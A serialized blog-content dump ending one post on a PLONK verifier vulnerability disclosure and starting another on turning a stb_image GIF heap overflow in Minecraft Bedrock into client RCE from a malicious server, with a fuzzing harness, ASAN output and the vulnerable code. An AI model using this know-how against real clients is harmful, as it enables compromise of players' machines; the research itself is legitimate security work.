reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":25,"tag":26,"props":148065,"children":148066},{"id":61903},[148067],{"type":31,"value":148068},"Disclosure timeline",{"type":25,"tag":56823,"props":148070,"children":148071},{},[148072,148088],{"type":25,"tag":124082,"props":148073,"children":148074},{},[148075],{"type":25,"tag":124086,"props":148076,"children":148077},{},[148078,148083],{"type":25,"tag":124090,"props":148079,"children":148080},{},[148081],{"type":31,"value":148082},"Date",{"type":25,"tag":124090,"props":148084,"children":148085},{},[148086],{"type":31,"value":148087},"Event",{"type":25,"tag":124110,"props":148089,"children":148090},{},[148091,148104,148117,148129,148155,148175],{"type":25,"tag":124086,"props":148092,"children":148093},{},[148094,148099],{"type":25,"tag":124117,"props":148095,"children":148096},{},[148097],{"type":31,"value":148098},"2026-02-13",{"type":25,"tag":124117,"props":148100,"children":148101},{},[148102],{"type":31,"value":148103},"Dusk vulnerability reported",{"type":25,"tag":124086,"props":148105,"children":148106},{},[148107,148112],{"type":25,"tag":124117,"props":148108,"children":148109},{},[148110],{"type":31,"value":148111},"2026-02-14",{"type":25,"tag":124117,"props":148113,"children":148114},{},[148115],{"type":31,"value":148116},"Dusk acknowledged",{"type":25,"tag":124086,"props":148118,"children":148119},{},[148120,148124],{"type":25,"tag":124117,"props":148121,"children":148122},{},[148123],{"type":31,"value":148111},{"type":25,"tag":124117,"props":148125,"children":148126},{},[148127],{"type":31,"value":148128},"Dusk fix committed",{"type":25,"tag":124086,"props":148130,"children":148131},{},[148132,148137],{"type":25,"tag":124117,"props":148133,"children":148134},{},[148135],{"type":31,"value":148136},"2026-02-27",{"type":25,"tag":124117,"props":148138,"children":148139},{},[148140,148142,148153],{"type":31,"value":148141},"Public ",{"type":25,"tag":71,"props":148143,"children":148146},{"href":148144,"rel":148145},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[75],[148147],{"type":25,"tag":115,"props":148148,"children":148150},{"className":148149},[],[148151],{"type":31,"value":148152},"dusk-rusk-1.6.0",{"type":31,"value":148154}," release published",{"type":25,"tag":124086,"props":148156,"children":148157},{},[148158,148163],{"type":25,"tag":124117,"props":148159,"children":148160},{},[148161],{"type":31,"value":148162},"2026-03-16",{"type":25,"tag":124117,"props":148164,"children":148165},{},[148166,148168,148174],{"type":31,"value":148167},"Jellyfish fix PR opened (",{"type":25,"tag":71,"props":148169,"children":148171},{"href":148011,"rel":148170},[75],[148172],{"type":31,"value":148173},"#867",{"type":31,"value":3073},{"type":25,"tag":124086,"props":148176,"children":148177},{},[148178,148183],{"type":25,"tag":124117,"props":148179,"children":148180},{},[148181],{"type":31,"value":148182},"2026-03-18",{"type":25,"tag":124117,"props":148184,"children":148185},{},[148186,148188,148193,148195],{"type":31,"value":148187},"Jellyfish fix merged in ",{"type":25,"tag":71,"props":148189,"children":148191},{"href":148011,"rel":148190},[75],[148192],{"type":31,"value":148173},{"type":31,"value":148194}," and tagged as ",{"type":25,"tag":71,"props":148196,"children":148198},{"href":148020,"rel":148197},[75],[148199],{"type":25,"tag":115,"props":148200,"children":148202},{"className":148201},[],[148203],{"type":31,"value":148028},{"type":25,"tag":26,"props":148205,"children":148207},{"id":148206},"acknowledgements",[148208],{"type":31,"value":148209},"Acknowledgements",{"type":25,"tag":34,"props":148211,"children":148212},{},[148213],{"type":31,"value":148214},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":226,"depth":226,"links":148216},[148217,148224,148225,148226,148227,148228,148229,148230,148231,148232,148233,148234],{"id":143034,"depth":226,"text":143037,"children":148218},[148219,148220,148221,148222,148223],{"id":143059,"depth":278,"text":143062},{"id":143862,"depth":278,"text":143865},{"id":145060,"depth":278,"text":145063},{"id":145090,"depth":278,"text":145093},{"id":145371,"depth":278,"text":145374},{"id":146104,"depth":226,"text":146107},{"id":146242,"depth":226,"text":146245},{"id":91385,"depth":226,"text":146873},{"id":147472,"depth":226,"text":147475},{"id":147609,"depth":226,"text":147612},{"id":147724,"depth":226,"text":147727},{"id":147817,"depth":226,"text":147820},{"id":147884,"depth":226,"text":147887},{"id":148036,"depth":226,"text":148039},{"id":61903,"depth":226,"text":148068},{"id":148206,"depth":226,"text":148209},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148239,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148240,"description":148241,"date":148242,"author":124741,"image":148243,"isFeatured":17,"onBlogPage":17,"tags":148245,"body":148248,"_type":4371,"_id":157628,"_source":4373,"_file":157629,"_stem":157630,"_extension":4376},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148244,"width":98352,"height":15},"/posts/minecraft-heap-overflow-to-rce/title.png",[148246,148247],"minecraft","rce",{"type":22,"children":148249,"toc":157605},[148250,148255,148260,148265,148271,148276,148295,148300,148306,148311,148316,148322,148327,148332,148337,148343,148348,148353,148359,148379,148391,148398,148420,148434,148441,148447,148457,148477,148482,148488,148501,148846,148851,148859,148865,148884,149192,149220,149263,149275,149283,149288,149757,149776,149797,150139,150163,150435,150459,150486,150695,150714,150722,150741,150747,150809,150812,150834,150838,150843,150848,150854,150859,150873,150879,150893,150899,150912,150917,150925,150930,150936,150957,150965,150978,150981,150986,151000,151005,151010,151016,151021,151044,151049,151055,151060,151072,151084,151198,151218,151223,151228,151234,151239,151259,151874,151887,152961,152966,152974,152979,152985,152990,152998,153011,153016,153021,153028,153041,153046,153053,153108,153128,153135,153154,153161,153164,153169,153174,153180,153192,153205,153213,153284,153295,153329,153337,153342,153347,153353,153365,153384,153396,153401,153409,153428,153436,153455,153463,153489,153497,153502,153510,153515,153523,153526,153531,153536,153542,153555,153573,153611,153641,153649,153654,153660,153665,153670,153676,153688,153857,153869,153877,153882,153889,153894,153955,154002,154014,154019,154045,154119,154157,154162,154170,154191,154196,154222,154256,154309,154356,154362,154381,154413,154421,154524,154595,154601,154627,154634,154639,154646,154651,154892,154918,154923,154971,154976,154982,155014,155026,155058,155066,155105,155113,155118,155126,155131,155139,155151,155159,155171,155179,155191,155211,155217,155237,155254,155262,155274,155282,155301,155306,155314,155319,155327,155353,155364,155371,155376,155384,155389,155397,155402,155410,155415,155423,155428,155436,155441,155449,155490,155497,155502,155510,155515,155523,155528,155536,155541,155546,155554,155559,155567,155593,155601,155627,155635,155640,155648,155653,155661,155669,155674,155682,155687,155695,155698,155709,155743,155761,155769,155789,155795,155814,155872,155892,155900,155903,155942,156002,156007,156013,156026,156034,156086,156125,156133,156166,156169,156189,156197,156203,156208,156216,156256,156297,156317,156322,156327,156345,156351,156356,156375,156436,156444,156470,156476,156496,156501,156506,156513,156578,156583,156590,156611,156616,156628,156634,156667,156674,156679,156707,156714,156770,156782,156789,156850,156869,156875,156909,156930,156957,156965,157018,157088,157094,157114,157157,157162,157560,157566,157571,157582,157586,157591,157596,157601],{"type":25,"tag":4321,"props":148251,"children":148253},{"id":148252},"pwning-minecraft-4-byte-heap-overflow-to-rce",[148254],{"type":31,"value":148240},{"type":25,"tag":34,"props":148256,"children":148257},{},[148258],{"type":31,"value":148259},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":25,"tag":34,"props":148261,"children":148262},{},[148263],{"type":31,"value":148264},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":25,"tag":26,"props":148266,"children":148268},{"id":148267},"the-target",[148269],{"type":31,"value":148270},"The Target",{"type":25,"tag":34,"props":148272,"children":148273},{},[148274],{"type":31,"value":148275},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":25,"tag":34,"props":148277,"children":148278},{},[148279,148281,148286,148288,148293],{"type":31,"value":148280},"There are two main editions: ",{"type":25,"tag":1252,"props":148282,"children":148283},{},[148284],{"type":31,"value":148285},"Minecraft Java Edition",{"type":31,"value":148287},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":25,"tag":1252,"props":148289,"children":148290},{},[148291],{"type":31,"value":148292},"Minecraft Bedrock Edition",{"type":31,"value":148294},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":25,"tag":34,"props":148296,"children":148297},{},[148298],{"type":31,"value":148299},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":25,"tag":40,"props":148301,"children":148303},{"id":148302},"choice-of-context",[148304],{"type":31,"value":148305},"Choice of Context",{"type":25,"tag":34,"props":148307,"children":148308},{},[148309],{"type":31,"value":148310},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":25,"tag":34,"props":148312,"children":148313},{},[148314],{"type":31,"value":148315},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":25,"tag":40,"props":148317,"children":148319},{"id":148318},"resource-packs",[148320],{"type":31,"value":148321},"Resource Packs",{"type":25,"tag":34,"props":148323,"children":148324},{},[148325],{"type":31,"value":148326},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":25,"tag":34,"props":148328,"children":148329},{},[148330],{"type":31,"value":148331},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":25,"tag":34,"props":148333,"children":148334},{},[148335],{"type":31,"value":148336},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":25,"tag":26,"props":148338,"children":148340},{"id":148339},"finding-a-memory-corruption-bug",[148341],{"type":31,"value":148342},"Finding a Memory Corruption Bug",{"type":25,"tag":34,"props":148344,"children":148345},{},[148346],{"type":31,"value":148347},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":25,"tag":34,"props":148349,"children":148350},{},[148351],{"type":31,"value":148352},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":25,"tag":40,"props":148354,"children":148356},{"id":148355},"locating-image-parsing-code",[148357],{"type":31,"value":148358},"Locating Image Parsing Code",{"type":25,"tag":34,"props":148360,"children":148361},{},[148362,148364,148370,148371,148377],{"type":31,"value":148363},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":25,"tag":115,"props":148365,"children":148367},{"className":148366},[],[148368],{"type":31,"value":148369},"PNG",{"type":31,"value":14636},{"type":25,"tag":115,"props":148372,"children":148374},{"className":148373},[],[148375],{"type":31,"value":148376},"GIF",{"type":31,"value":148378}," and look for error logging or other messages that use those substrings.",{"type":25,"tag":34,"props":148380,"children":148381},{},[148382,148384,148389],{"type":31,"value":148383},"Searching for the string ",{"type":25,"tag":115,"props":148385,"children":148387},{"className":148386},[],[148388],{"type":31,"value":148376},{"type":31,"value":148390}," returned some interesting results:",{"type":25,"tag":34,"props":148392,"children":148393},{},[148394],{"type":25,"tag":127,"props":148395,"children":148397},{"alt":51656,"src":148396},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":25,"tag":34,"props":148399,"children":148400},{},[148401,148403,148410,148412,148419],{"type":31,"value":148402},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":25,"tag":71,"props":148404,"children":148407},{"href":148405,"rel":148406},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[75],[148408],{"type":31,"value":148409},"stb_image.h",{"type":31,"value":148411},". For an example: usage of ",{"type":25,"tag":71,"props":148413,"children":148416},{"href":148414,"rel":148415},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[75],[148417],{"type":31,"value":148418},"bad Image Descriptor",{"type":31,"value":80},{"type":25,"tag":34,"props":148421,"children":148422},{},[148423,148425,148432],{"type":31,"value":148424},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":25,"tag":71,"props":148426,"children":148429},{"href":148427,"rel":148428},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[75],[148430],{"type":31,"value":148431},"stbi__gif_load_next",{"type":31,"value":148433},", and loaded the resource pack - this confirmed its usage:",{"type":25,"tag":34,"props":148435,"children":148436},{},[148437],{"type":25,"tag":127,"props":148438,"children":148440},{"alt":51656,"src":148439},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":25,"tag":40,"props":148442,"children":148444},{"id":148443},"stb-image-library",[148445],{"type":31,"value":148446},"STB Image Library",{"type":25,"tag":34,"props":148448,"children":148449},{},[148450,148455],{"type":25,"tag":115,"props":148451,"children":148453},{"className":148452},[],[148454],{"type":31,"value":148409},{"type":31,"value":148456}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":25,"tag":34,"props":148458,"children":148459},{},[148460,148462,148467,148469,148476],{"type":31,"value":148461},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":25,"tag":115,"props":148463,"children":148465},{"className":148464},[],[148466],{"type":31,"value":148409},{"type":31,"value":148468}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":25,"tag":71,"props":148470,"children":148473},{"href":148471,"rel":148472},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[75],[148474],{"type":31,"value":148475},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":31,"value":80},{"type":25,"tag":34,"props":148478,"children":148479},{},[148480],{"type":31,"value":148481},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":25,"tag":20392,"props":148483,"children":148485},{"id":148484},"fuzzing",[148486],{"type":31,"value":148487},"Fuzzing",{"type":25,"tag":34,"props":148489,"children":148490},{},[148491,148493,148500],{"type":31,"value":148492},"The fuzzer consisted of a very simple ",{"type":25,"tag":71,"props":148494,"children":148497},{"href":148495,"rel":148496},"https://github.com/AFLplusplus/AFLplusplus",[75],[148498],{"type":31,"value":148499},"AFL++",{"type":31,"value":28225},{"type":25,"tag":191,"props":148502,"children":148504},{"code":148503,"language":4652,"meta":7,"className":18010,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[148505],{"type":25,"tag":115,"props":148506,"children":148507},{"__ignoreMap":7},[148508,148521,148533,148540,148586,148598,148619,148626,148650,148665,148672,148679,148751,148775,148790,148797,148804,148817,148824,148839],{"type":25,"tag":201,"props":148509,"children":148510},{"class":203,"line":204},[148511,148516],{"type":25,"tag":201,"props":148512,"children":148513},{"style":230},[148514],{"type":31,"value":148515},"#define",{"type":25,"tag":201,"props":148517,"children":148518},{"style":214},[148519],{"type":31,"value":148520}," STB_IMAGE_IMPLEMENTATION\n",{"type":25,"tag":201,"props":148522,"children":148523},{"class":203,"line":226},[148524,148528],{"type":25,"tag":201,"props":148525,"children":148526},{"style":230},[148527],{"type":31,"value":91499},{"type":25,"tag":201,"props":148529,"children":148530},{"style":267},[148531],{"type":31,"value":148532}," \"./stb/stb_image.h\"\n",{"type":25,"tag":201,"props":148534,"children":148535},{"class":203,"line":278},[148536],{"type":25,"tag":201,"props":148537,"children":148538},{"emptyLinePlaceholder":17},[148539],{"type":31,"value":496},{"type":25,"tag":201,"props":148541,"children":148542},{"class":203,"line":311},[148543,148547,148551,148555,148559,148564,148568,148573,148577,148582],{"type":25,"tag":201,"props":148544,"children":148545},{"style":208},[148546],{"type":31,"value":20546},{"type":25,"tag":201,"props":148548,"children":148549},{"style":214},[148550],{"type":31,"value":91864},{"type":25,"tag":201,"props":148552,"children":148553},{"style":220},[148554],{"type":31,"value":298},{"type":25,"tag":201,"props":148556,"children":148557},{"style":208},[148558],{"type":31,"value":20546},{"type":25,"tag":201,"props":148560,"children":148561},{"style":246},[148562],{"type":31,"value":148563}," argc",{"type":25,"tag":201,"props":148565,"children":148566},{"style":220},[148567],{"type":31,"value":919},{"type":25,"tag":201,"props":148569,"children":148570},{"style":208},[148571],{"type":31,"value":148572},"char",{"type":25,"tag":201,"props":148574,"children":148575},{"style":261},[148576],{"type":31,"value":90965},{"type":25,"tag":201,"props":148578,"children":148579},{"style":246},[148580],{"type":31,"value":148581},"argv",{"type":25,"tag":201,"props":148583,"children":148584},{"style":220},[148585],{"type":31,"value":275},{"type":25,"tag":201,"props":148587,"children":148588},{"class":203,"line":330},[148589,148593],{"type":25,"tag":201,"props":148590,"children":148591},{"style":208},[148592],{"type":31,"value":20576},{"type":25,"tag":201,"props":148594,"children":148595},{"style":220},[148596],{"type":31,"value":148597}," x, y, comp;\n",{"type":25,"tag":201,"props":148599,"children":148600},{"class":203,"line":397},[148601,148606,148610,148614],{"type":25,"tag":201,"props":148602,"children":148603},{"style":208},[148604],{"type":31,"value":148605},"    unsigned",{"type":25,"tag":201,"props":148607,"children":148608},{"style":208},[148609],{"type":31,"value":60128},{"type":25,"tag":201,"props":148611,"children":148612},{"style":261},[148613],{"type":31,"value":11319},{"type":25,"tag":201,"props":148615,"children":148616},{"style":220},[148617],{"type":31,"value":148618},"ret;\n",{"type":25,"tag":201,"props":148620,"children":148621},{"class":203,"line":437},[148622],{"type":25,"tag":201,"props":148623,"children":148624},{"emptyLinePlaceholder":17},[148625],{"type":31,"value":496},{"type":25,"tag":201,"props":148627,"children":148628},{"class":203,"line":464},[148629,148633,148638,148642,148646],{"type":25,"tag":201,"props":148630,"children":148631},{"style":230},[148632],{"type":31,"value":13781},{"type":25,"tag":201,"props":148634,"children":148635},{"style":220},[148636],{"type":31,"value":148637}," (argc ",{"type":25,"tag":201,"props":148639,"children":148640},{"style":261},[148641],{"type":31,"value":17184},{"type":25,"tag":201,"props":148643,"children":148644},{"style":426},[148645],{"type":31,"value":9443},{"type":25,"tag":201,"props":148647,"children":148648},{"style":220},[148649],{"type":31,"value":275},{"type":25,"tag":201,"props":148651,"children":148652},{"class":203,"line":490},[148653,148657,148661],{"type":25,"tag":201,"props":148654,"children":148655},{"style":230},[148656],{"type":31,"value":17239},{"type":25,"tag":201,"props":148658,"children":148659},{"style":426},[148660],{"type":31,"value":6029},{"type":25,"tag":201,"props":148662,"children":148663},{"style":220},[148664],{"type":31,"value":461},{"type":25,"tag":201,"props":148666,"children":148667},{"class":203,"line":499},[148668],{"type":25,"tag":201,"props":148669,"children":148670},{"style":220},[148671],{"type":31,"value":4861},{"type":25,"tag":201,"props":148673,"children":148674},{"class":203,"line":522},[148675],{"type":25,"tag":201,"props":148676,"children":148677},{"emptyLinePlaceholder":17},[148678],{"type":31,"value":496},{"type":25,"tag":201,"props":148680,"children":148681},{"class":203,"line":531},[148682,148687,148691,148696,148700,148704,148708,148712,148716,148720,148725,148729,148734,148738,148743,148747],{"type":25,"tag":201,"props":148683,"children":148684},{"style":220},[148685],{"type":31,"value":148686},"    ret ",{"type":25,"tag":201,"props":148688,"children":148689},{"style":261},[148690],{"type":31,"value":1383},{"type":25,"tag":201,"props":148692,"children":148693},{"style":214},[148694],{"type":31,"value":148695}," stbi_load",{"type":25,"tag":201,"props":148697,"children":148698},{"style":220},[148699],{"type":31,"value":298},{"type":25,"tag":201,"props":148701,"children":148702},{"style":246},[148703],{"type":31,"value":148581},{"type":25,"tag":201,"props":148705,"children":148706},{"style":220},[148707],{"type":31,"value":423},{"type":25,"tag":201,"props":148709,"children":148710},{"style":426},[148711],{"type":31,"value":5516},{"type":25,"tag":201,"props":148713,"children":148714},{"style":220},[148715],{"type":31,"value":1930},{"type":25,"tag":201,"props":148717,"children":148718},{"style":261},[148719],{"type":31,"value":4615},{"type":25,"tag":201,"props":148721,"children":148722},{"style":220},[148723],{"type":31,"value":148724},"x, ",{"type":25,"tag":201,"props":148726,"children":148727},{"style":261},[148728],{"type":31,"value":4615},{"type":25,"tag":201,"props":148730,"children":148731},{"style":220},[148732],{"type":31,"value":148733},"y, ",{"type":25,"tag":201,"props":148735,"children":148736},{"style":261},[148737],{"type":31,"value":4615},{"type":25,"tag":201,"props":148739,"children":148740},{"style":220},[148741],{"type":31,"value":148742},"comp, ",{"type":25,"tag":201,"props":148744,"children":148745},{"style":426},[148746],{"type":31,"value":429},{"type":25,"tag":201,"props":148748,"children":148749},{"style":220},[148750],{"type":31,"value":308},{"type":25,"tag":201,"props":148752,"children":148753},{"class":203,"line":550},[148754,148758,148763,148767,148771],{"type":25,"tag":201,"props":148755,"children":148756},{"style":230},[148757],{"type":31,"value":13781},{"type":25,"tag":201,"props":148759,"children":148760},{"style":220},[148761],{"type":31,"value":148762}," (ret ",{"type":25,"tag":201,"props":148764,"children":148765},{"style":261},[148766],{"type":31,"value":10083},{"type":25,"tag":201,"props":148768,"children":148769},{"style":208},[148770],{"type":31,"value":128854},{"type":25,"tag":201,"props":148772,"children":148773},{"style":220},[148774],{"type":31,"value":275},{"type":25,"tag":201,"props":148776,"children":148777},{"class":203,"line":563},[148778,148782,148786],{"type":25,"tag":201,"props":148779,"children":148780},{"style":230},[148781],{"type":31,"value":17239},{"type":25,"tag":201,"props":148783,"children":148784},{"style":426},[148785],{"type":31,"value":6029},{"type":25,"tag":201,"props":148787,"children":148788},{"style":220},[148789],{"type":31,"value":461},{"type":25,"tag":201,"props":148791,"children":148792},{"class":203,"line":572},[148793],{"type":25,"tag":201,"props":148794,"children":148795},{"style":220},[148796],{"type":31,"value":4861},{"type":25,"tag":201,"props":148798,"children":148799},{"class":203,"line":590},[148800],{"type":25,"tag":201,"props":148801,"children":148802},{"style":220},[148803],{"type":31,"value":62866},{"type":25,"tag":201,"props":148805,"children":148806},{"class":203,"line":608},[148807,148812],{"type":25,"tag":201,"props":148808,"children":148809},{"style":214},[148810],{"type":31,"value":148811},"    stbi_image_free",{"type":25,"tag":201,"props":148813,"children":148814},{"style":220},[148815],{"type":31,"value":148816},"(ret);\n",{"type":25,"tag":201,"props":148818,"children":148819},{"class":203,"line":617},[148820],{"type":25,"tag":201,"props":148821,"children":148822},{"emptyLinePlaceholder":17},[148823],{"type":31,"value":496},{"type":25,"tag":201,"props":148825,"children":148826},{"class":203,"line":625},[148827,148831,148835],{"type":25,"tag":201,"props":148828,"children":148829},{"style":230},[148830],{"type":31,"value":18486},{"type":25,"tag":201,"props":148832,"children":148833},{"style":426},[148834],{"type":31,"value":4554},{"type":25,"tag":201,"props":148836,"children":148837},{"style":220},[148838],{"type":31,"value":461},{"type":25,"tag":201,"props":148840,"children":148841},{"class":203,"line":642},[148842],{"type":25,"tag":201,"props":148843,"children":148844},{"style":220},[148845],{"type":31,"value":1187},{"type":25,"tag":34,"props":148847,"children":148848},{},[148849],{"type":31,"value":148850},"And soon after starting the fuzzer it found an interesting bug:",{"type":25,"tag":191,"props":148852,"children":148854},{"code":148853},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[148855],{"type":25,"tag":115,"props":148856,"children":148857},{"__ignoreMap":7},[148858],{"type":31,"value":148853},{"type":25,"tag":20392,"props":148860,"children":148862},{"id":148861},"investigating-the-finding",[148863],{"type":31,"value":148864},"Investigating the Finding",{"type":25,"tag":34,"props":148866,"children":148867},{},[148868,148870,148876,148877,148882],{"type":31,"value":148869},"The ASAN output shows that at line ",{"type":25,"tag":115,"props":148871,"children":148873},{"className":148872},[],[148874],{"type":31,"value":148875},"6233",{"type":31,"value":144376},{"type":25,"tag":115,"props":148878,"children":148880},{"className":148879},[],[148881],{"type":31,"value":148409},{"type":31,"value":148883}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":25,"tag":191,"props":148885,"children":148887},{"code":148886,"language":4652,"meta":7,"className":18010,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[148888],{"type":25,"tag":115,"props":148889,"children":148890},{"__ignoreMap":7},[148891,148933,148940,148966,148979,148986,148994,149001,149055,149062,149108,149141],{"type":25,"tag":201,"props":148892,"children":148893},{"class":203,"line":204},[148894,148898,148902,148907,148912,148916,148920,148925,148929],{"type":25,"tag":201,"props":148895,"children":148896},{"style":208},[148897],{"type":31,"value":52122},{"type":25,"tag":201,"props":148899,"children":148900},{"style":208},[148901],{"type":31,"value":52127},{"type":25,"tag":201,"props":148903,"children":148904},{"style":214},[148905],{"type":31,"value":148906}," stbi__out_gif_code",{"type":25,"tag":201,"props":148908,"children":148909},{"style":220},[148910],{"type":31,"value":148911},"(stbi__gif ",{"type":25,"tag":201,"props":148913,"children":148914},{"style":261},[148915],{"type":31,"value":6077},{"type":25,"tag":201,"props":148917,"children":148918},{"style":246},[148919],{"type":31,"value":110382},{"type":25,"tag":201,"props":148921,"children":148922},{"style":220},[148923],{"type":31,"value":148924},", stbi__uint16 ",{"type":25,"tag":201,"props":148926,"children":148927},{"style":246},[148928],{"type":31,"value":115},{"type":25,"tag":201,"props":148930,"children":148931},{"style":220},[148932],{"type":31,"value":4666},{"type":25,"tag":201,"props":148934,"children":148935},{"class":203,"line":226},[148936],{"type":25,"tag":201,"props":148937,"children":148938},{"style":220},[148939],{"type":31,"value":1822},{"type":25,"tag":201,"props":148941,"children":148942},{"class":203,"line":278},[148943,148948,148952,148957,148961],{"type":25,"tag":201,"props":148944,"children":148945},{"style":220},[148946],{"type":31,"value":148947},"   stbi_uc ",{"type":25,"tag":201,"props":148949,"children":148950},{"style":261},[148951],{"type":31,"value":6077},{"type":25,"tag":201,"props":148953,"children":148954},{"style":220},[148955],{"type":31,"value":148956},"p, ",{"type":25,"tag":201,"props":148958,"children":148959},{"style":261},[148960],{"type":31,"value":6077},{"type":25,"tag":201,"props":148962,"children":148963},{"style":220},[148964],{"type":31,"value":148965},"c;\n",{"type":25,"tag":201,"props":148967,"children":148968},{"class":203,"line":311},[148969,148974],{"type":25,"tag":201,"props":148970,"children":148971},{"style":208},[148972],{"type":31,"value":148973},"   int",{"type":25,"tag":201,"props":148975,"children":148976},{"style":220},[148977],{"type":31,"value":148978}," idx; \n",{"type":25,"tag":201,"props":148980,"children":148981},{"class":203,"line":330},[148982],{"type":25,"tag":201,"props":148983,"children":148984},{"emptyLinePlaceholder":17},[148985],{"type":31,"value":496},{"type":25,"tag":201,"props":148987,"children":148988},{"class":203,"line":397},[148989],{"type":25,"tag":201,"props":148990,"children":148991},{"style":220},[148992],{"type":31,"value":148993},"   [...]\n",{"type":25,"tag":201,"props":148995,"children":148996},{"class":203,"line":437},[148997],{"type":25,"tag":201,"props":148998,"children":148999},{"emptyLinePlaceholder":17},[149000],{"type":31,"value":496},{"type":25,"tag":201,"props":149002,"children":149003},{"class":203,"line":464},[149004,149008,149012,149016,149020,149025,149029,149034,149038,149043,149047,149051],{"type":25,"tag":201,"props":149005,"children":149006},{"style":230},[149007],{"type":31,"value":53722},{"type":25,"tag":201,"props":149009,"children":149010},{"style":220},[149011],{"type":31,"value":238},{"type":25,"tag":201,"props":149013,"children":149014},{"style":246},[149015],{"type":31,"value":110382},{"type":25,"tag":201,"props":149017,"children":149018},{"style":220},[149019],{"type":31,"value":15259},{"type":25,"tag":201,"props":149021,"children":149022},{"style":246},[149023],{"type":31,"value":149024},"cur_y",{"type":25,"tag":201,"props":149026,"children":149027},{"style":261},[149028],{"type":31,"value":9810},{"type":25,"tag":201,"props":149030,"children":149031},{"style":246},[149032],{"type":31,"value":149033}," 